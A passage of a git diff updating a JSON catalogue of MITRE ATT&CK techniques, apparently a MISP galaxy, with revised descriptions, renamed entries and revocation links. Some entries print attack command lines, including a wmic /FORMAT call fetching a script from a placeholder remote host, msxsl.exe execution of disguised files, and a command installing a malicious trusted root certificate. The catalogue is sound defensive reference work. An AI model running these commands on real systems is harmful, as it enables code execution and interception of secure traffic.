attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies.(Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies)", "meta": { "external_id": "T1201", "kill_chain": [ @@ -4880,18 +9366,6 @@ "description": "Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)", "meta": { "external_id": "CAPEC-479", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_data_sources": [ - "SSL/TLS inspection", - "Digital certificate logs" - ], - "mitre_platforms": [ - "Linux", - "Windows", - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1130", "https://capec.mitre.org/data/definitions/479.html", @@ -4904,6 +9378,15 @@ "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/" ] }, + "related": [ + { + "dest-uuid": "c615231b-f253-4f58-9d47-d5b4cbdb6839", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "d519cfd5-f3a8-43a9-a846-ed0bb40672b1", "value": "Install Root Certificate - T1130" }, @@ -4911,18 +9394,6 @@ "description": "Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075).\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nAdversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)", "meta": { "external_id": "CAPEC-551", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "Windows Registry", - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1031", "https://capec.mitre.org/data/definitions/551.html", @@ -4931,18 +9402,27 @@ "https://technet.microsoft.com/en-us/sysinternals/bb963902" ] }, + "related": [ + { + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", "value": "Modify Existing Service - T1031" }, { - "description": "Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as [FTP](https://attack.mitre.org/software/S0095). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.\n\nAdversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) or [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076).", + "description": "Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.", "meta": { "external_id": "T1105", "kill_chain": [ - "mitre-attack:command-and-control", - "mitre-attack:lateral-movement" + "mitre-attack:command-and-control" ], "mitre_data_sources": [ + "Process command-line parameters", "File monitoring", "Packet capture", "Process use of network", @@ -4961,33 +9441,10 @@ ] }, "uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "value": "Remote File Copy - T1105" + "value": "Ingress Tool Transfer - T1105" }, { - "description": "Adversary tools may directly use the Windows application programming interface (API) to execute binaries. Functions such as the Windows API CreateProcess will allow programs and scripts to start other processes with proper path and argument parameters. (Citation: Microsoft CreateProcess)\n\nAdditional Windows API calls that can be used to execute binaries include: (Citation: Kanthak Verifier)\n\n* CreateProcessA() and CreateProcessW(),\n* CreateProcessAsUserA() and CreateProcessAsUserW(),\n* CreateProcessInternalA() and CreateProcessInternalW(),\n* CreateProcessWithLogonW(), CreateProcessWithTokenW(),\n* LoadLibraryA() and LoadLibraryW(),\n* LoadLibraryExA() and LoadLibraryExW(),\n* LoadModule(),\n* LoadPackagedLibrary(),\n* WinExec(),\n* ShellExecuteA() and ShellExecuteW(),\n* ShellExecuteExA() and ShellExecuteExW()", - "meta": { - "external_id": "T1106", - "kill_chain": [ - "mitre-attack:execution" - ], - "mitre_data_sources": [ - "API monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1106", - "http://msdn.microsoft.com/en-us/library/ms682425", - "https://skanthak.homepage.t-online.de/verifier.html" - ] - }, - "uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "value": "Execution through API - T1106" - }, - { - "description": "The Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076), instead of through a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions.", + "description": "**This technique has been deprecated. Please use [Remote Services](https://attack.mitre.org/techniques/T1021) where appropriate.**\n\nThe Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076), instead of through a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions.", "meta": { "external_id": "T1061", "kill_chain": [ @@ -5016,11 +9473,35 @@ "description": "Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nAccess to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.", "meta": { "external_id": "CAPEC-187", + "refs": [ + "https://attack.mitre.org/techniques/T1017", + "https://capec.mitre.org/data/definitions/187.html" + ] + }, + "related": [ + { + "dest-uuid": "92a78814-b191-47ca-909c-1ccfe3777414", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], + "uuid": "327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61", + "value": "Application Deployment Software - T1017" + }, + { + "description": "Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nAdversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP. ", + "meta": { + "external_id": "T1071", "kill_chain": [ - "mitre-attack:lateral-movement" + "mitre-attack:command-and-control" ], "mitre_data_sources": [ - "File monitoring", + "DNS records", + "Network protocol analysis", + "Packet capture", + "Netflow/Enclave netflow", "Process use of network", "Process monitoring" ], @@ -5030,32 +9511,17 @@ "Windows" ], "refs": [ - "https://attack.mitre.org/techniques/T1017", - "https://capec.mitre.org/data/definitions/187.html" + "https://attack.mitre.org/techniques/T1071", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" ] }, - "uuid": "327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61", - "value": "Application Deployment Software - T1017" + "uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "value": "Application Layer Protocol - T1071" }, { "description": "Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nIn cloud environments, authenticated user credentials are often stored in local configuration and credential files. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. (Citation: Specter Ops - Cloud Credential Storage)\n\n", "meta": { "external_id": "CAPEC-639", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_data_sources": [ - "File monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows", - "AWS", - "GCP", - "Azure" - ], "refs": [ "https://attack.mitre.org/techniques/T1081", "https://capec.mitre.org/data/definitions/639.html", @@ -5064,17 +9530,29 @@ "https://posts.specterops.io/head-in-the-clouds-bd038bb69e48" ] }, + "related": [ + { + "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", "value": "Credentials in Files - T1081" }, { - "description": "Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used. Adversaries may also use local host files in order to discover the hostname to IP address mappings of remote systems. \n\n### Windows\n\nExamples of tools and commands that acquire this information include \"ping\" or \"net view\" using [Net](https://attack.mitre.org/software/S0039). The contents of the C:\\Windows\\System32\\Drivers\\etc\\hosts file can be viewed to gain insight into the existing hostname to IP mappings on the system.\n\n### Mac\n\nSpecific to Mac, the bonjour protocol to discover additional Mac-based systems within the same broadcast domain. Utilities such as \"ping\" and others can be used to gather information about remote systems. The contents of the /etc/hosts file can be viewed to gain insight into existing hostname to IP mappings on the system.\n\n### Linux\n\nUtilities such as \"ping\" and others can be used to gather information about remote systems. The contents of the /etc/hosts file can be viewed to gain insight into existing hostname to IP mappings on the system.\n\n### Cloud\n\nIn cloud environments, the above techniques may be used to discover remote systems depending upon the host operating system. In addition, cloud environments often provide APIs with information about remote systems and services.\n", + "description": "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view using [Net](https://attack.mitre.org/software/S0039). Adversaries may also use local host files (ex: C:\\Windows\\System32\\Drivers\\etc\\hosts or /etc/hosts) in order to discover the hostname to IP address mappings of remote systems. \n\nSpecific to macOS, the bonjour protocol exists to discover additional Mac-based systems within the same broadcast domain.\n\nWithin IaaS (Infrastructure as a Service) environments, remote systems include instances and virtual machines in various states, including the running or stopped state. Cloud providers have created methods to serve information about remote systems, such as APIs and CLIs. For example, AWS provides a DescribeInstances API within the Amazon EC2 API and a describe-instances command within the AWS CLI that can return information about all instances within an account.(Citation: Amazon Describe Instances API)(Citation: Amazon Describe Instances CLI) Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project, and Azure's CLI az vm list lists details of virtual machines.(Citation: Google Compute Instances)(Citation: Azure VM List)", "meta": { "external_id": "CAPEC-292", "kill_chain": [ "mitre-attack:discovery" ], "mitre_data_sources": [ + "Azure activity logs", + "Stackdriver logs", + "AWS CloudTrail logs", "Network protocol analysis", "Process monitoring", "Process use of network", @@ -5090,14 +9568,18 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1018", - "https://capec.mitre.org/data/definitions/292.html" + "https://capec.mitre.org/data/definitions/292.html", + "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html", + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/describe-instances.html", + "https://cloud.google.com/sdk/gcloud/reference/compute/instances/list", + "https://docs.microsoft.com/en-us/cli/azure/vm?view=azure-cli-latest" ] }, "uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", "value": "Remote System Discovery - T1018" }, { - "description": "Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)\n\nAdversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.", + "description": "Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)\n\nAdversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.", "meta": { "external_id": "T1202", "kill_chain": [ @@ -5123,12 +9605,11 @@ "value": "Indirect Command Execution - T1202" }, { - "description": "Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)\n\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Similar to [Trusted Developer Utilities](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)\n\n* msxsl.exe customers[.]xml script[.]xsl\n* msxsl.exe script[.]xsl script[.]xsl\n* msxsl.exe script[.]jpeg script[.]jpeg\n\nAnother variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1117)/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)\n\n* Local File: wmic process list /FORMAT:evil[.]xsl\n* Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”", + "description": "Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)\n\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)\n\n* msxsl.exe customers[.]xml script[.]xsl\n* msxsl.exe script[.]xsl script[.]xsl\n* msxsl.exe script[.]jpeg script[.]jpeg\n\nAnother variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1117)/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)\n\n* Local File: wmic process list /FORMAT:evil[.]xsl\n* Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”", "meta": { "external_id": "T1220", "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution" + "mitre-attack:defense-evasion" ], "mitre_data_sources": [ "Process monitoring", @@ -5157,22 +9638,6 @@ "description": "Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.", "meta": { "external_id": "T1032", - "kill_chain": [ - "mitre-attack:command-and-control" - ], - "mitre_data_sources": [ - "Packet capture", - "Netflow/Enclave netflow", - "Malware reverse engineering", - "Process use of network", - "Process monitoring", - "SSL/TLS inspection" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1032", "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840", @@ -5181,6 +9646,15 @@ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" ] }, + "related": [ + { + "dest-uuid": "b8902400-e6c5-4ba2-95aa-2d35b442b118", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", "value": "Standard Cryptographic Protocol - T1032" }, @@ -5202,21 +9676,6 @@ "description": "Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.\n\nCustom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.\n\nSome adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)", "meta": { "external_id": "T1024", - "kill_chain": [ - "mitre-attack:command-and-control" - ], - "mitre_data_sources": [ - "Packet capture", - "Netflow/Enclave netflow", - "Process use of network", - "Malware reverse engineering", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1024", "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf", @@ -5224,6 +9683,15 @@ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" ] }, + "related": [ + { + "dest-uuid": "b8902400-e6c5-4ba2-95aa-2d35b442b118", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", "value": "Custom Cryptographic Protocol - T1024" }, @@ -5251,18 +9719,6 @@ "description": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1086)/[Rundll32](https://attack.mitre.org/techniques/T1085) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via VBA [Scripting](https://attack.mitre.org/techniques/T1064) within a malicious Office document or any code that can perform [Execution through API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) (given appropriate access rights to the parent process). For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)", "meta": { "external_id": "T1502", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:privilege-escalation" - ], - "mitre_data_sources": [ - "Windows event logs", - "Process monitoring", - "API monitoring" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1502", "https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/", @@ -5274,11 +9730,77 @@ "https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3" ] }, + "related": [ + { + "dest-uuid": "93591901-3172-4e94-abf8-6034ab26f44a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "9ddc2534-e91c-4dab-a8f6-43dab81e8142", "value": "Parent PID Spoofing - T1502" }, { - "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\n### Windows\n\nExample commands and utilities that obtain this information include ver, [Systeminfo](https://attack.mitre.org/software/S0096), and dir within [cmd](https://attack.mitre.org/software/S0106) for identifying information based on present files and directories.\n\n### Mac\n\nOn Mac, the systemsetup command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the system_profiler gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions.\n\n### AWS\n\nIn Amazon Web Services (AWS), the Application Discovery Service may be used by an adversary to identify servers, virtual machines, software, and software dependencies running.(Citation: Amazon System Discovery)\n\n### GCP\n\nOn Google Cloud Platform (GCP) GET /v1beta1/{parent=organizations/*}/assets or POST /v1beta1/{parent=organizations/*}/assets:runDiscovery may be used to list an organizations cloud assets, or perform asset discovery on a cloud environment.(Citation: Google Command Center Dashboard)\n\n### Azure\n\nIn Azure, the API request GET https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachines/{vmName}?api-version=2019-03-01 may be used to retrieve information about the model or instance view of a virtual machine.(Citation: Microsoft Virutal Machine API)", + "description": "Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)\n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1178) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)", + "meta": { + "external_id": "T1207", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "API monitoring", + "Authentication logs", + "Network protocol analysis", + "Packet capture" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1207", + "https://www.dcshadow.com/", + "https://adsecurity.org/?page_id=1821", + "https://github.com/shellster/DCSYNCMonitor", + "https://msdn.microsoft.com/en-us/library/ms677626.aspx", + "https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html" + ] + }, + "uuid": "564998d8-ab3e-4123-93fb-eccaa6b9714a", + "value": "Rogue Domain Controller - T1207" + }, + { + "description": "Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.).\n\nAccess to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose.", + "meta": { + "external_id": "T1072", + "kill_chain": [ + "mitre-attack:execution", + "mitre-attack:lateral-movement" + ], + "mitre_data_sources": [ + "Authentication logs", + "File monitoring", + "Third-party application logs", + "Windows Registry", + "Process monitoring", + "Process use of network", + "Binary file metadata" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1072" + ] + }, + "uuid": "92a78814-b191-47ca-909c-1ccfe3777414", + "value": "Software Deployment Tools - T1072" + }, + { + "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nTools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. A breakdown of system data can also be gathered through the macOS systemsetup command, but it requires administrative privileges.\n\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)", "meta": { "external_id": "CAPEC-312", "kill_chain": [ @@ -5302,8 +9824,8 @@ "refs": [ "https://attack.mitre.org/techniques/T1082", "https://capec.mitre.org/data/definitions/312.html", - "https://docs.aws.amazon.com/en_pv/application-discovery/latest/userguide/what-is-appdiscovery.html", - "https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard", + "https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html", + "https://cloud.google.com/compute/docs/reference/rest/v1/instances", "https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get" ] }, @@ -5314,20 +9836,6 @@ "description": "Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the winrm command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)", 